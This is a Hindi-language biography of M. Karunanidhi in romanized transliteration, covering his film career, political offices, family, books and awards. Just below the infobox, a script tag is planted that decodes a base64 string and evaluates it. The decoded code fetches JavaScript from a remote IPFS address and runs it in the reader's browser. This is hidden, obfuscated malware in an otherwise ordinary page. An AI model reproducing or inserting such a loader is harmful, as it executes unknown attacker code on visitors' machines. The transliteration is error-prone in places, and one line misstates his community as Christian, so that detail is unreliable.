एम. करुणानिधि
em. karunanidhi
| |
| poora nam | muthoovel karunanidhi |
| janm | 3 joon, 1924 |
| janm bhoomi | tirukkuvalee, madras praizidansi |
| mrityu | 7 agast, 2018 |
| mrityu sthan | chennee, tamilanadu |
| abhibhavak | pita- muttuvel, mata- aanjugam |
| pati/patni | tin- padmavati ammal, dayalu amma, rajathiammal |
| santan | putr- em.ke. muthoo, em.ke. alagiri, em.ke. stalin, em.ke. tamilarasu; putri- em. ke. selvi, em. ke. kanimojhi |
| nagarikata | bharatiy |
| prasiddhi | rajanitijn, natakakar aur patakatha lekhak |
| parti | dravi d munnetr k dagam (diemake) |
| pad | tamilanadu ke mukhyamantri (5 bar) |
| kary kal | 13 mee, 2006 – 15 mee, 2011 13 mee, 1996 – 13 mee, 2001 |
| any janakari | tamil sahity mean apane yogadan ke lie bhi em. karunanidhi mashahoor haian. unake yogadan mean kavitaean, chitthiyaan, patakathaean, upanyas, jivani, aitihasik upanyas, manch natak, sanvad, gane ityadi shamil haian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
muthoovel karunanidhi (aangrezi: Muthuvel Karunanidhi, janm- 3 joon, 1924, tirukkuvalee; mrityu- 7 agast, 2018, chennee) bharatiy rajaneta aur tamilanadu ke poorv mukhyamantri the. ve tamilanadu ke dravi d rajanitik dal 'dravi d munnetr k dagam' (diemake) ke pramukh the. em. karunanidhi ko 1969 mean diemake ke sansthapak si. en. annaduraee ki maut ke bad tamilanadu ka mukhyamantri bana diya gaya tha. ve paanch bar (1969-71, 1971-76, 1989-91, 1996-2001, 2006-2011) tak tamilanadu ke mukhyamantri rahe. em. karunanidhi ne apane 60 sal ke rajanitik kॅriar mean apani bhagidari vale har kisi chunav mean apani sit jitane ka rik aaurd banaya. 2004 ke lokasabha chunav mean unhoanne tamilanadu aur puducheri mean diemake ke netritv vali dipie ka netritv kiya aur lokasabha ki 40 sitoan ko jit liya. isake bad unhoanne 2009 ke lokasabha chunav mean diemake ke jariye jiti gee sitoan ki sankhya 16 se badhakar 18 kar di. tamilanadu aur puducheri mean yoopie ka netritv kar bahut chhote se gathabandhan ke babajood unhoanne vahaan par 28 sitoan par jit prapt ki thi. em. karunanidhi tamil sinema jagat ke ek natakakar aur patakatha lekhak bhi the. unake samarthak unhean "kalaeenar" kahakar bulate the.
janm
em. karunanidhi ka janm aupaniveshik kalin bharat mean 3 joon, 1924 ko nagapattinam ke tirukkuvalee mean dakshinamoorti ke roop mean hua tha. unake pita ka nam muttuvel tha aur mata aanjugam thian. ve eesaee dharm ke vellalar samuday se sanbandh rakhate the.
arambhik jivan
em. karunanidhi ne apane jivan ki shuruat tamil philm udyog mean ek patakatha lekhak ke roop mean ki. apani buddhi aur bhashan ke madhyam se ve bahut kam samay mean ek mahan rajaneta ban ge. em. karunanidhi dravi d aandolan se ju de the aur samajavadi aur buddh ke adarshoan ko badhaba dene vali aitihasik aur samajik kahaniyaan likhane ke lie mashahoor the. unhoanne tamil sinema jagat ka istemal karake apani 'parashakti' namak philm ke madhyam se apane rajanitik vicharoan ka prachar kiya. 'parashakti' philm tamil sinema jagat ke lie ek mahattapoorn mo d sabit huee, kyooki isane dravi d aandolan ki vicharadharaoan ka samarthan kiya aur isane tamil philm jagat ke do mashahoor abhinetaoan shivaji ganeshan aur es.es. rajeandran se duniya ko parichit karavaya. shuroo mean is philm par pratiband laga diya gaya tha, lekin bad mean ise san 1952 mean rilij kar diya gaya. ye b aauks aauphis par bahut hi b di philm ke roop mean sabit huee. isi tarah karunanidhi ki do aur philmean thian- 'panam' aur 'thangarathanam'. san 1950 ke dashak mean unake do natakoan ko bhi pratibandhit kar diya gaya tha.
vivah
em. karunanidhi ne tin vivah kiye the. unaki pahali patni ka nam padmavati ammal tha, jinase unhean ek beta hua, jisaka nam em.ke. muthoo hai. padmavati ka nidhan muthu ke janm ke asapas hi ho gaya tha. isake bad unaki shadi dayalu amma se huee, jinase is dampatti ko char bachche hue- em.ke. alagiri, em.ke. stalin, em.ke. tamilarasu aur selvi. unaki tisari patni ka nam rajathiammal haian, jinase unhean ek beti kanimojhi haian.
rajaniti mean pravesh
jastis parti ke alagirisvami ke ek bhashan se prerit hokar em. karunanidhi ne 14 sal ki umr mean rajaniti mean pravesh kiya aur hiandi virodhi aandolan mean bhag liya. unhoanne apane ilake ke sthaniy yuvaoan ke lie ek sangathan ki sthapana ki. unhoanne isake sadasyoan ko 'manavar nesan' namak ek hastalikhit akhabar parichalit kiya. bad mean unhoanne 'tamilanadu tamil manavar mandram' namak ek chhatr sangathan ki sthapana ki, jo dravi d andolan ka pahala chhatr viang tha. karunanidhi ne any sadasyoan ke sath chhatr samuday aur khud ko bhi samajik kary mean shamil kar liya. yahaan unhoanne isake sadasyoan ke lie ek akhabar chaloo kiya, jo diemake dal ke adhikarik akhabar murasoli ke roop mean samane aya.
kallakudi mean hiandi virodhi virodh pradarshan mean unaki bhagidari, tamil rajaniti mean apani j d majaboot karane mean karunanidhi ke lie madadagar sabit hone vala pahala pramukh kadam tha. is audyogik nagar ko us samay uttar bharat ke ek shaktishali mugal ke nam par 'dalamiyapuram' kaha jata tha. virodh pradarshan mean em. karunanidhi aur unake sathiyoan ne relave steshan se hiandi nam ko mita diya aur relaga diyoan ke marg ko avaruddh karane ke lie patari par let ge. is virodh pradarshan mean do logoan ki maut ho gee aur karunanidhi ko giraphtar kar liya gaya.
satta prapti
em. karunanidhi ko tiruchirapalli zile ke kulithalaee vidhanasabha se 1957 mean tamilanadu vidhanasabha ke lie pahali bar chuna gaya. ve 1961 mean diemake koshadhyaksh bane aur 1962 mean rajy vidhanasabha mean vipaksh ke upaneta bane aur 1967 mean jab diemake satta mean aee, tab ve sarvajanik kary mantri bane. jab 1969 mean si. en. annaduraee ki maut ho gee, tab karunanidhi ko tamilanadu ka mukhyamantri bana diya gaya. tamilanadu mean rajanitik kshetr mean apane lanbe kॅriyar ke dauran ve parti aur sarakar mean vibhinn padoan par rah chuke the. mee, 2006 ke chunav mean apane gathabandhan dvara apane pramukh pratidvandvi jayalalita ke harane ke bad unhoanne 13 mee, 2006 ko tamilanadu ke mukhyamantri ka padabhar sanbhala. tamilanadu vidhanasabha mean unhean 11 bar aur ab samapt ho chuke 'tamilanadu vidhan parishad' mean ek bar nirvachit kiya gaya tha.
kale chashme se pahachan
em. karunanidhi apani vaktavy shaili aur rajaniti par damadar pak d ke chalate tamilanadu ke logoan ke diloan par raj karate the. unaki likhi philmoan ki vajah se pahale hi log unhean star manate the. rajaniti mean ane ke bad unhoanne apane is star stetas ko aur majaboot kiya. ek aur chij jisane unaki is chhavi ko prabhavi banaya, vah tha unaka stail. kisi philm star ki tarah ve hamesha kala chashma aur kandhe par pila gamachha pahanakar nikalate the. darasal 1968-1969 mean ek hadase mean unaki baee aankh kshatigrast ho gee thi. tabhi se unhoanne kala chashma pahanana shuroo kiya, jo unaka stail ban gaya. logoan ne unaki dekha-dekhi aise hi chashme pahanane shuroo kar die. parti ke netaoan ke mutabiq karunanidhi apane stail ko lekar bahut satark rahate the. vah roj shev karate the aur kabhi bhi pit gamachha dalana nahian bhoolate the. navanbar 2017 mean d aauktar ki salah par unhoanne apane 46 varsh purane stail ko alavida kahakar naya chashma pahanana shuroo kiya tha. unake lie desh bhar mean 40 din tak sahi chashme ki khoj ki gee thi, akhirakar chashma jarmani se kharida gaya.[1]
karunanidhi aur iandira
jab 1976 mean iandira gaandhi ne karunanidhi ki sarakar ko barkhast kiya, ve iandira ke khilaph bahut ugr ho ge. lekin isake bavajood, jab janata parti sarakar keandr mean dharashayi ho gee aur lagane laga ki iandira phir satta par kabiz ho jaeangian to karunanidhi ne iandira se phir hath mila liya. 1980 ke lokasabha chunav mean eaeediemake ko tamilanadu mean muanh ki khani p di. lokasabha mean eaeediemake ki har ko adhar banakar karunanidhi ne iandira gaandhi se kahakar eaeediemake ki sarakar girava di, lekin is bat se naraz logoan ka kahar karunanidhi par hi toota aur janata ne tamilanadu mean ek bar phir em. ji. ramachandran ko mukhyamantri ki kursi par baitha diya. unaki kutil chaloan ke hi chalate emajiar ne unhean ‘ashubh takat’ ka nam de dala tha aur ye nam karunanidhi ke nam sath aisa chipaka ki taumr chhoota nahian aur logoan ke man mean baith gaya.
san 1971 se 1976 tak ke unake mukhyamantritv kal par jo kala dhabba laga, use 'sarakariya kamishan' ne ‘vaijnanik tarike se kie ge bhrashtachar’ ki sanjna de dali. ab ye doosari bat hai ki karunanidhi ke samay jo bhrashtachar lakhoan ka tha, emajiar ke samay vah karo doan ka ho gaya aur jayalalita ke vakt to vah araboan ka ho gaya. lekin tamilanadu ki janata ne emajiar ke bhrashtachar maph kar die, kyoanki unaki chhavi ek mashahoor aur logoan ke bhale ke lie kam karane vale neta ki thi. jayalalita ka bhrashtachar unake kॅriyar ke aant mean samane aya, jab beangaluru ki ek vishesh adalat ne unhean bhrashtachar ka doshi mana tha, lekin karunanidhi ke mathe se bhrashtachar ka kalank mit nahian paya.[2]
sahity
tamil sahity mean apane yogadan ke lie bhi em. karunanidhi mashahoor haian. unake yogadan mean kavitaean, chitthiyaan, patakathaean, upanyas, jivani, aitihasik upanyas, manch natak, sanvad, gane ityadi shamil haian. unhoanne tirukkural, tholkappiya pooanga, poombukar ke lie kuraloviyam ke sath-sath kee kavitaean, nibandh aur kitabean likhi haian. sahity ke alava karunanidhi ne kala evan sthapaty kala ke madhyam se tamil bhasha mean bhi yogadan diya hai. kuraloviyam ki tarah, jisamean kalaeenar ne tirukkural ke bare mean likha tha, valluvar kottam ke nirman ke madhyam se unhoanne tiruvalluvar, chennee, tamilanadu mean apani sthapaty upasthiti ka parichay diya hai. kanyakumari mean em. karunanidhi ne tiruvalluvar ki ek 133 phut ooanchi moorti ka nirman karavaya tha, jo us vidvan ke prati unaki bhavanaoan ka chitran karata hai.
pustakean
em. karunanidhi dvara likhit pustakoan mean shamil haian- romapuri paandiyan, tenapaandi siangam, vellikilamee, neanjukoo nidi, iniyavee irupad, sang tamil, kuraloviyam, ponnar shankar aur tirukkural uree. unaki gady aur pady ki pstakoan ki sankhya 100 se bhi adhik hai.
manchakala
karunanidhi ke natakoan mean shamil haian- manimagudam, ore radam, palaniappan, tukku medi, kagidappoo, nane erivali, vellikkilamee, udyasooriyan aur silappadikaram adi.
patakathaean
em. karunanidhi ne 20 varsh ki ayu mean jyoopitar pikchars ke lie patakatha lekhak ke roop mean kary shuroo kiya tha. unhoanne apani pahali philm 'rajakumari' se lokapriyata hasil ki. patakatha lekhak ke roop mean unake hunar mean yahian se nikhar ana shuroo hua. unake dvara likhi gee 75 patakathaoan mean shamil haian- rajakumari, abhimanyu, mandiri kumari, marud nattoo ilavarasi, manamagan, devaki, parashakti, panam, tirumbipar, nam, manohara, ammiyapan, malaee kallan, rangoon radha, raja rani, pudaiyal, pudumi pittan, ellorum innattu mannar, kuravaanji, tailapillee, kaanchi talaivan, poombuhar, poomalee, mani magudm, marakk mudiyuma?, avan pittana?, pookkari, nidikku dandanee, paleevana rojakkal, pasa paravaeekal, pa dad thenikkal, niyay tarasu, pasakiligl, kannamma, yooliyin osee, pen singam aur ilijnin.
puraskar aur khitab
- em. karunanidhi ko kabhi-kabhi pyar se "kalaeenar" aur "muthamijh kavinar" bhi kaha jata hai.
- annamalee vishvavidyalay ne 1971 mean unhean manad d aauktaret ki upadhi se sammanit kiya tha.
- 'thenapandi siangam' namak kitab ke lie unhean tamil vishvavidyalay, tanjavur dvara "raja rajan puraskar" se sammanit kiya gaya tha.
- 15 disambar, 2006 ko tamilanadu ke rajyapal aur maduraee kamaraj vishvavidyalay ke chaansalar mahamahim thiru surajit sianh baranala ne 40vean varshik samaroh ke avasar par unako manad d aauktaret ki upadhi se vibhooshit kiya tha.
- joon 2007 mean tamilanadu muslim makkal kachi ne ghoshana ki thi ki vah em. karoonanidhi ko 'muslim samuday ke dost' (yaraan-e-millath') pradan karega.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ rajaniti par damadar pak d rakhane vale karunanidhi ke kale chashme ka raj (hiandi) jagran.com. abhigaman tithi: 08 agast, 2018.
- ↑ karunanidhi ka 78 sal ka rajanitik saphar (hiandi) hindi.firstpost. abhigaman tithi: 08 agast, 2018.
bahari k diyaan
- em karoonanidhi ka jivan parichay hiandi mean
- chautarapha kamayabi pane vale karishmaee neta haian em karunanidhi
- karunanidhi: janie kaise tamil philmoan ke skriphtaraitar ne badal di dakshin bharat ki rajaniti
- bharatiy rajaniti mean nahian milega karunanidhi jaisa neta, banaya hai ye rik aaurd